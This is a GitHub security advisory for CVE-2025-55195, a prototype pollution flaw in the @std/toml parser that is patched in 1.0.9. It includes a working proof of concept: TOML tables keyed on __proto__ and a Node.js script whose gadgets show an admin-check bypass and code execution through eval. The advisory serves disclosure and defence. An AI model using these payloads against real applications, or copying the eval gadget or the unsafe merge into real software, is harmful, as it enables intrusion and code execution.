Skip to content

@std/toml Prototype Pollution in Node.js and Browser

High
kt3k published GHSA-crjp-8r9q-2j9r Aug 14, 2025

Package

@std/toml (jsr)

Affected versions

<= 1.0.8

Patched versions

1.0.9

Description

Summary

An attacker can pollute the prototype chain in Node.js runtime and Browser when parsing untrusted TOML data, thus achieving Prototype Pollution (PP) vulnerability. This is because the library is merging an untrusted object with an empty object, which by default the empty object has the prototype chain.

Details

At toml/_parser.ts line 825, the parser is merging an untrusted object with an empty object by calling function deepAssign.

In function deepAssignTable line 187 and deepAssignTableArray line 209, if the parser parses the following TOML table or the TOML table array, it is possible to pollute the prototype chain:

[__proto__.isAdmin]

[__proto__.debug]
isDebugMode = true
debugCommand = 'console.log("RCE gadget PoC")'

[[__proto__.arrayTable]]
polluted = true

Note that due to the unflat function call's argument value being an object, the attacker can only pollute the object property with either an empty object or an object that contains different properties. Therefore, the attacker cannot pollute property isAdmin with the value of boolean true.

Also, this vulnerability could only be exploited in Node.js runtime and browser. This is because Deno removed the Object.__proto__. Although Object.constructor.prototype can still be accessed, it cannot be merged because the type is Function, not type Object. If you attempt to do so, the merge functions will throw an Error exception. (I.e.: Function deepAssignTable line 198)

PoC

To reproduce the vulnerability, you could run the following JavaScript code in Node.js runtime:

import { parse } from '@std/toml';

const user = { username: 'foo' };
const config = {};

// Authentication bypass gadget
function isAdmin(user) {
    if (!user.isAdmin) {
        console.log('[-] Is NOT an admin user');
        return;
    }

    console.log('[+] Is an admin user');
}

// Remote Code Execution (RCE) gadget
function debugEval() {
    const debugConfig = config.debug || {};
    if (debugConfig.isDebugMode !== true) {
        console.log('[-] Not in debug mode')
        return;
    }

    console.log('[*] Entering debug mode...');
    eval(debugConfig.debugCommand);
}

const toml = `
[__proto__.isAdmin]

[__proto__.debug]
isDebugMode = true
debugCommand = 'console.log("RCE gadget PoC")'

[[__proto__.arrayTable]]
polluted = true
`;

console.log('[*] Before pollution...');
isAdmin(user);
debugEval();

console.log(`[*] TOML data:\n${toml}`);
parse(toml);

console.log('[+] After pollution...');
console.log('[*] Object.prototype = \n', Object.prototype);
isAdmin(user);
debugEval();

Expected output:

> node poc.js  
[*] Before pollution...
[-] Is NOT an admin user
[-] Not in debug mode
[*] TOML data:

[__proto__.isAdmin]

[__proto__.debug]
isDebugMode = true
debugCommand = 'console.log("RCE gadget PoC")'

[[__proto__.arrayTable]]
polluted = true

[+] After pollution...
[*] Object.prototype = 
 [Object: null prototype] {
  isAdmin: {},
  debug: { isDebugMode: true, debugCommand: 'console.log("RCE gadget PoC")' },
  arrayTable: [ { polluted: true } ]
}
[+] Is an admin user
[*] Entering debug mode...
RCE gadget PoC

Impact

PP is a vulnerability that allows an attacker to manipulate the prototype of an object and potentially modify its properties or behavior. This can lead to various security issues such as code injection, denial of service, or data manipulation.

Although I couldn't find any gadget (a dangerous property that could lead to security vulnerability when it is polluted) in the library, the application that uses the library could have such gadget(s).

Patch

540662c

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CVE ID

CVE-2025-55195

Weaknesses

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. Learn more on MITRE.

Credits